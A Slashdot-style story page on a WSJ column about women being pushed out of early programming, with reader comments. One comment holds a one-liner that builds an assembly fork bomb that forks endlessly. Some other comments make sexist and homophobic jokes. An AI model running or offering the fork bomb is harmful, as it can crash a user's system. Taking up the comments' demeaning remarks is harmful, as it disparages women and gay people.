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The First Women in Tech Didn't Leave -- Men Pushed Them Out (wsj.com)
An anonymous reader writes: A column on the Wall Street Journal argues that sexism in the tech industry is as old as the tech industry itself. At its genesis, computer programming faced a double stigma -- it was thought of as menial labor, like factory work, and it was feminized, a kind of "women's work" that wasn't considered intellectual (Editor's note: the link could be paywalled; alternative source). In the U.K., women in the government's low-paid "Machine Operator Class" performed knowledge work including programming systems for everything from tax collection and social services to code-breaking and scientific research. Later, they would be pushed out of the field, as government leaders in the postwar era held a then-common belief that women shouldn't be allowed into higher-paid professions with long-term prospects because they would leave as soon as they were married. Today, in the U.S., about a quarter of computing and mathematics jobs are held by women, and that proportion has been declining over the past 20 years. A string of recent events suggest the steps currently being taken by tech firms to address these issues are inadequate.
probably are retired actually
have you seen my sig? there are many others like it but none that are the same
Please sir, be realistic, the only moon jobs are for "whalers on the moon" which is also a majority male enterprise.
I believe the term is disputing. Litigating would be if we took it to the Male Privilege court. Then again if it went to the Male Privilege court we'd just say something like 'Your honour, the defendant has always been a bit high strung. Difficult. See you in the Men's Club after the case is dismissed? I've got a fine filly you might enjoy breaking in'.
And that would be that.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
She wants to go into Family Medicine, and has no aptitude for computers. But I've firmly told her "No! You've internalized the patriarchy in thinking you don't want be a programmer! Now listen to your father and spend your life chained to a terminal like I have!" /s
Actually, in my experience, it's mostly the women that suck. Some men, too, but they're kinda queer.
(go on and mod as you please, I got karma to burn and I simply could not let this joke pass)
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.